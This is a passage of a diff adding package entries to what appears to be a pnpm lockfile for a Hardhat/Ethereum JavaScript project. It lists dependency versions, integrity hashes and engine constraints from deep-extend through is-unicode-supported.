+    resolution: {integrity: sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==}
+    engines: {node: '>=6'}
+
+  deep-extend@0.6.0:
+    resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==}
+    engines: {node: '>=4.0.0'}
+
+  deep-is@0.1.4:
+    resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==}
+
+  define-data-property@1.1.4:
+    resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==}
+    engines: {node: '>= 0.4'}
+
+  delayed-stream@1.0.0:
+    resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==}
+    engines: {node: '>=0.4.0'}
+
+  depd@2.0.0:
+    resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==}
+    engines: {node: '>= 0.8'}
+
+  diff@4.0.2:
+    resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==}
+    engines: {node: '>=0.3.1'}
+
+  diff@5.0.0:
+    resolution: {integrity: sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==}
+    engines: {node: '>=0.3.1'}
+
+  difflib@0.2.4:
+    resolution: {integrity: sha512-9YVwmMb0wQHQNr5J9m6BSj6fk4pfGITGQOOs+D9Fl+INODWFOfvhIU1hNv6GgR1RBoC/9NJcwu77zShxV0kT7w==}
+
+  dir-glob@3.0.1:
+    resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}
+    engines: {node: '>=8'}
+
+  elliptic@6.5.4:
+    resolution: {integrity: sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==}
+
+  elliptic@6.5.5:
+    resolution: {integrity: sha512-7EjbcmUm17NQFu4Pmgmq2olYMj8nwMnpcddByChSUjArp8F5DQWcIcpriwO4ZToLNAJig0yiyjswfyGNje/ixw==}
+
+  emoji-regex@8.0.0:
+    resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}
+
+  enquirer@2.4.1:
+    resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==}
+    engines: {node: '>=8.6'}
+
+  env-paths@2.2.1:
+    resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==}
+    engines: {node: '>=6'}
+
+  es-define-property@1.0.0:
+    resolution: {integrity: sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==}
+    engines: {node: '>= 0.4'}
+
+  es-errors@1.3.0:
+    resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}
+    engines: {node: '>= 0.4'}
+
+  escalade@3.1.2:
+    resolution: {integrity: sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==}
+    engines: {node: '>=6'}
+
+  escape-string-regexp@1.0.5:
+    resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==}
+    engines: {node: '>=0.8.0'}
+
+  escape-string-regexp@4.0.0:
+    resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}
+    engines: {node: '>=10'}
+
+  escodegen@1.8.1:
+    resolution: {integrity: sha512-yhi5S+mNTOuRvyW4gWlg5W1byMaQGWWSYHXsuFZ7GBo7tpyOwi2EdzMP/QWxh9hwkD2m+wDVHJsxhRIj+v/b/A==}
+    engines: {node: '>=0.12.0'}
+    hasBin: true
+
+  esprima@2.7.3:
+    resolution: {integrity: sha512-OarPfz0lFCiW4/AV2Oy1Rp9qu0iusTKqykwTspGCZtPxmF81JR4MmIebvF1F9+UOKth2ZubLQ4XGGaU+hSn99A==}
+    engines: {node: '>=0.10.0'}
+    hasBin: true
+
+  esprima@4.0.1:
+    resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==}
+    engines: {node: '>=4'}
+    hasBin: true
+
+  estraverse@1.9.3:
+    resolution: {integrity: sha512-25w1fMXQrGdoquWnScXZGckOv+Wes+JDnuN/+7ex3SauFRS72r2lFDec0EKPt2YD1wUJ/IrfEex+9yp4hfSOJA==}
+    engines: {node: '>=0.10.0'}
+
+  esutils@2.0.3:
+    resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==}
+    engines: {node: '>=0.10.0'}
+
+  eth-gas-reporter@0.2.27:
+    resolution: {integrity: sha512-femhvoAM7wL0GcI8ozTdxfuBtBFJ9qsyIAsmKVjlWAHUbdnnXHt+lKzz/kmldM5lA9jLuNHGwuIxorNpLbR1Zw==}
+    peerDependencies:
+      '@codechecks/client': ^0.1.0
+    peerDependenciesMeta:
+      '@codechecks/client':
+        optional: true
+
+  ethereum-bloom-filters@1.1.0:
+    resolution: {integrity: sha512-J1gDRkLpuGNvWYzWslBQR9cDV4nd4kfvVTE/Wy4Kkm4yb3EYRSlyi0eB/inTsSTTVyA0+HyzHgbr95Fn/Z1fSw==}
+    deprecated: do not use this package use package versions above as this can miss some topics
+
+  ethereum-cryptography@0.1.3:
+    resolution: {integrity: sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==}
+
+  ethereum-cryptography@1.2.0:
+    resolution: {integrity: sha512-6yFQC9b5ug6/17CQpCyE3k9eKBMdhyVjzUy1WkiuY/E4vj/SXDBbCw8QEIaXqf0Mf2SnY6RmpDcwlUmBSS0EJw==}
+
+  ethereum-cryptography@2.1.3:
+    resolution: {integrity: sha512-BlwbIL7/P45W8FGW2r7LGuvoEZ+7PWsniMvQ4p5s2xCyw9tmaDlpfsN9HjAucbF+t/qpVHwZUisgfK24TCW8aA==}
+
+  ethereumjs-abi@0.6.8:
+    resolution: {integrity: sha512-Tx0r/iXI6r+lRsdvkFDlut0N08jWMnKRZ6Gkq+Nmw75lZe4e6o3EkSnkaBP5NF6+m5PTGAr9JP43N3LyeoglsA==}
+
+  ethereumjs-util@6.2.1:
+    resolution: {integrity: sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==}
+
+  ethereumjs-util@7.1.5:
+    resolution: {integrity: sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==}
+    engines: {node: '>=10.0.0'}
+
+  ethers@5.7.2:
+    resolution: {integrity: sha512-wswUsmWo1aOK8rR7DIKiWSw9DbLWe6x98Jrn8wcTflTVvaXhAMaB5zGAXy0GYQEQp9iO1iSHWVyARQm11zUtyg==}
+
+  ethers@6.12.0:
+    resolution: {integrity: sha512-zL5NlOTjML239gIvtVJuaSk0N9GQLi1Hom3ZWUszE5lDTQE/IVB62mrPkQ2W1bGcZwVGSLaetQbWNQSvI4rGDQ==}
+    engines: {node: '>=14.0.0'}
+
+  ethjs-unit@0.1.6:
+    resolution: {integrity: sha512-/Sn9Y0oKl0uqQuvgFk/zQgR7aw1g36qX/jzSQ5lSwlO0GigPymk4eGQfeNTD03w1dPOqfz8V77Cy43jH56pagw==}
+    engines: {node: '>=6.5.0', npm: '>=3'}
+
+  ethjs-util@0.1.6:
+    resolution: {integrity: sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==}
+    engines: {node: '>=6.5.0', npm: '>=3'}
+
+  evp_bytestokey@1.0.3:
+    resolution: {integrity: sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==}
+
+  fast-deep-equal@3.1.3:
+    resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}
+
+  fast-glob@3.3.2:
+    resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==}
+    engines: {node: '>=8.6.0'}
+
+  fast-levenshtein@2.0.6:
+    resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==}
+
+  fastq@1.17.1:
+    resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==}
+
+  fill-range@7.1.1:
+    resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}
+    engines: {node: '>=8'}
+
+  fill-range@7.1.1:
+    resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}
+    engines: {node: '>=8'}
+
+  find-replace@3.0.0:
+    resolution: {integrity: sha512-6Tb2myMioCAgv5kfvP5/PkZZ/ntTpVK39fHY7WkWBgvbeE+VHd/tZuZ4mrC+bxh4cfOZeYKVPaJIZtZXV7GNCQ==}
+    engines: {node: '>=4.0.0'}
+
+  find-up@2.1.0:
+    resolution: {integrity: sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==}
+    engines: {node: '>=4'}
+
+  find-up@5.0.0:
+    resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==}
+    engines: {node: '>=10'}
+
+  flat@5.0.2:
+    resolution: {integrity: sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==}
+    hasBin: true
+
+  follow-redirects@1.15.6:
+    resolution: {integrity: sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==}
+    engines: {node: '>=4.0'}
+    peerDependencies:
+      debug: '*'
+    peerDependenciesMeta:
+      debug:
+        optional: true
+
+  form-data@2.5.1:
+    resolution: {integrity: sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==}
+    engines: {node: '>= 0.12'}
+
+  form-data@4.0.0:
+    resolution: {integrity: sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==}
+    engines: {node: '>= 6'}
+
+  fp-ts@1.19.3:
+    resolution: {integrity: sha512-H5KQDspykdHuztLTg+ajGN0Z2qUjcEf3Ybxc6hLt0k7/zPkn29XnKnxlBPyW2XIddWrGaJBzBl4VLYOtk39yZg==}
+
+  fs-extra@0.30.0:
+    resolution: {integrity: sha512-UvSPKyhMn6LEd/WpUaV9C9t3zATuqoqfWc3QdPhPLb58prN9tqYPlPWi8Krxi44loBoUzlobqZ3+8tGpxxSzwA==}
+
+  fs-extra@10.1.0:
+    resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==}
+    engines: {node: '>=12'}
+
+  fs-extra@7.0.1:
+    resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==}
+    engines: {node: '>=6 <7 || >=8'}
+
+  fs-extra@8.1.0:
+    resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==}
+    engines: {node: '>=6 <7 || >=8'}
+
+  fs-extra@9.1.0:
+    resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==}
+    engines: {node: '>=10'}
+
+  fs-readdir-recursive@1.1.0:
+    resolution: {integrity: sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==}
+
+  fs.realpath@1.0.0:
+    resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==}
+
+  fsevents@2.3.3:
+    resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
+    engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
+    os: [darwin]
+
+  function-bind@1.1.2:
+    resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==}
+
+  get-caller-file@2.0.5:
+    resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==}
+    engines: {node: 6.* || 8.* || >= 10.*}
+
+  get-func-name@2.0.2:
+    resolution: {integrity: sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==}
+
+  get-intrinsic@1.2.4:
+    resolution: {integrity: sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==}
+    engines: {node: '>= 0.4'}
+
+  get-port@3.2.0:
+    resolution: {integrity: sha512-x5UJKlgeUiNT8nyo/AcnwLnZuZNcSjSw0kogRB+Whd1fjjFq4B1hySFxSFWWSn4mIBzg3sRNUDFYc4g5gjPoLg==}
+    engines: {node: '>=4'}
+
+  ghost-testrpc@0.0.2:
+    resolution: {integrity: sha512-i08dAEgJ2g8z5buJIrCTduwPIhih3DP+hOCTyyryikfV8T0bNvHnGXO67i0DD1H4GBDETTclPy9njZbfluQYrQ==}
+    hasBin: true
+
+  glob-parent@5.1.2:
+    resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}
+    engines: {node: '>= 6'}
+
+  glob@5.0.15:
+    resolution: {integrity: sha512-c9IPMazfRITpmAAKi22dK1VKxGDX9ehhqfABDriL/lzO92xcUKEJPQHrVA/2YHSNFB4iFlykVmWvwo48nr3OxA==}
+    deprecated: Glob versions prior to v9 are no longer supported
+
+  glob@7.1.7:
+    resolution: {integrity: sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==}
+    deprecated: Glob versions prior to v9 are no longer supported
+
+  glob@7.2.0:
+    resolution: {integrity: sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==}
+    deprecated: Glob versions prior to v9 are no longer supported
+
+  glob@8.1.0:
+    resolution: {integrity: sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==}
+    engines: {node: '>=12'}
+    deprecated: Glob versions prior to v9 are no longer supported
+
+  global-modules@2.0.0:
+    resolution: {integrity: sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==}
+    engines: {node: '>=6'}
+
+  global-prefix@3.0.0:
+    resolution: {integrity: sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==}
+    engines: {node: '>=6'}
+
+  globby@10.0.2:
+    resolution: {integrity: sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==}
+    engines: {node: '>=8'}
+
+  gopd@1.0.1:
+    resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==}
+
+  graceful-fs@4.2.11:
+    resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}
+
+  handlebars@4.7.8:
+    resolution: {integrity: sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ==}
+    engines: {node: '>=0.4.7'}
+    hasBin: true
+
+  hardhat-gas-reporter@1.0.10:
+    resolution: {integrity: sha512-02N4+So/fZrzJ88ci54GqwVA3Zrf0C9duuTyGt0CFRIh/CdNwbnTgkXkRfojOMLBQ+6t+lBIkgbsOtqMvNwikA==}
+    peerDependencies:
+      hardhat: ^2.0.2
+
+  hardhat@2.22.3:
+    resolution: {integrity: sha512-k8JV2ECWNchD6ahkg2BR5wKVxY0OiKot7fuxiIpRK0frRqyOljcR2vKwgWSLw6YIeDcNNA4xybj7Og7NSxr2hA==}
+    hasBin: true
+    peerDependencies:
+      ts-node: '*'
+      typescript: '*'
+    peerDependenciesMeta:
+      ts-node:
+        optional: true
+      typescript:
+        optional: true
+
+  has-flag@1.0.0:
+    resolution: {integrity: sha512-DyYHfIYwAJmjAjSSPKANxI8bFY9YtFrgkAfinBojQ8YJTOuOuav64tMUJv584SES4xl74PmuaevIyaLESHdTAA==}
+    engines: {node: '>=0.10.0'}
+
+  has-flag@3.0.0:
+    resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==}
+    engines: {node: '>=4'}
+
+  has-flag@4.0.0:
+    resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==}
+    engines: {node: '>=8'}
+
+  has-property-descriptors@1.0.2:
+    resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==}
+
+  has-proto@1.0.3:
+    resolution: {integrity: sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==}
+    engines: {node: '>= 0.4'}
+
+  has-symbols@1.0.3:
+    resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==}
+    engines: {node: '>= 0.4'}
+
+  hash-base@3.1.0:
+    resolution: {integrity: sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==}
+    engines: {node: '>=4'}
+
+  hash.js@1.1.7:
+    resolution: {integrity: sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==}
+
+  hasown@2.0.2:
+    resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==}
+    engines: {node: '>= 0.4'}
+
+  he@1.2.0:
+    resolution: {integrity: sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==}
+    hasBin: true
+
+  heap@0.2.7:
+    resolution: {integrity: sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==}
+
+  hmac-drbg@1.0.1:
+    resolution: {integrity: sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==}
+
+  http-basic@8.1.3:
+    resolution: {integrity: sha512-/EcDMwJZh3mABI2NhGfHOGOeOZITqfkEO4p/xK+l3NpyncIHUQBoMvCSF/b5GqvKtySC2srL/GGG3+EtlqlmCw==}
+    engines: {node: '>=6.0.0'}
+
+  http-errors@2.0.0:
+    resolution: {integrity: sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==}
+    engines: {node: '>= 0.8'}
+
+  http-response-object@3.0.2:
+    resolution: {integrity: sha512-bqX0XTF6fnXSQcEJ2Iuyr75yVakyjIDCqroJQ/aHfSdlM743Cwqoi2nDYMzLGWUcuTWGWy8AAvOKXTfiv6q9RA==}
+
+  https-proxy-agent@5.0.1:
+    resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==}
+    engines: {node: '>= 6'}
+
+  iconv-lite@0.4.24:
+    resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==}
+    engines: {node: '>=0.10.0'}
+
+  ignore@5.3.1:
+    resolution: {integrity: sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==}
+    engines: {node: '>= 4'}
+
+  immer@10.0.2:
+    resolution: {integrity: sha512-Rx3CqeqQ19sxUtYV9CU911Vhy8/721wRFnJv3REVGWUmoAcIwzifTsdmJte/MV+0/XpM35LZdQMBGkRIoLPwQA==}
+
+  immutable@4.3.5:
+    resolution: {integrity: sha512-8eabxkth9gZatlwl5TBuJnCsoTADlL6ftEr7A4qgdaTsPyreilDSnUk57SO+jfKcNtxPa22U5KK6DSeAYhpBJw==}
+
+  indent-string@4.0.0:
+    resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==}
+    engines: {node: '>=8'}
+
+  inflight@1.0.6:
+    resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==}
+    deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.
+
+  inherits@2.0.4:
+    resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
+
+  ini@1.3.8:
+    resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==}
+
+  interpret@1.4.0:
+    resolution: {integrity: sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==}
+    engines: {node: '>= 0.10'}
+
+  io-ts@1.10.4:
+    resolution: {integrity: sha512-b23PteSnYXSONJ6JQXRAlvJhuw8KOtkqa87W4wDtvMrud/DTJd5X+NpOOI+O/zZwVq6v0VLAaJ+1EDViKEuN9g==}
+
+  is-binary-path@2.1.0:
+    resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==}
+    engines: {node: '>=8'}
+
+  is-extglob@2.1.1:
+    resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}
+    engines: {node: '>=0.10.0'}
+
+  is-fullwidth-code-point@2.0.0:
+    resolution: {integrity: sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==}
+    engines: {node: '>=4'}
+
+  is-fullwidth-code-point@3.0.0:
+    resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}
+    engines: {node: '>=8'}
+
+  is-glob@4.0.3:
+    resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}
+    engines: {node: '>=0.10.0'}
+
+  is-hex-prefixed@1.0.0:
+    resolution: {integrity: sha512-WvtOiug1VFrE9v1Cydwm+FnXd3+w9GaeVUss5W4v/SLy3UW00vP+6iNF2SdnfiBoLy4bTqVdkftNGTUeOFVsbA==}
+    engines: {node: '>=6.5.0', npm: '>=3'}
+
+  is-number@7.0.0:
+    resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}
+    engines: {node: '>=0.12.0'}
+
+  is-plain-obj@2.1.0:
+    resolution: {integrity: sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==}
+    engines: {node: '>=8'}
+
+  is-unicode-supported@0.1.0:
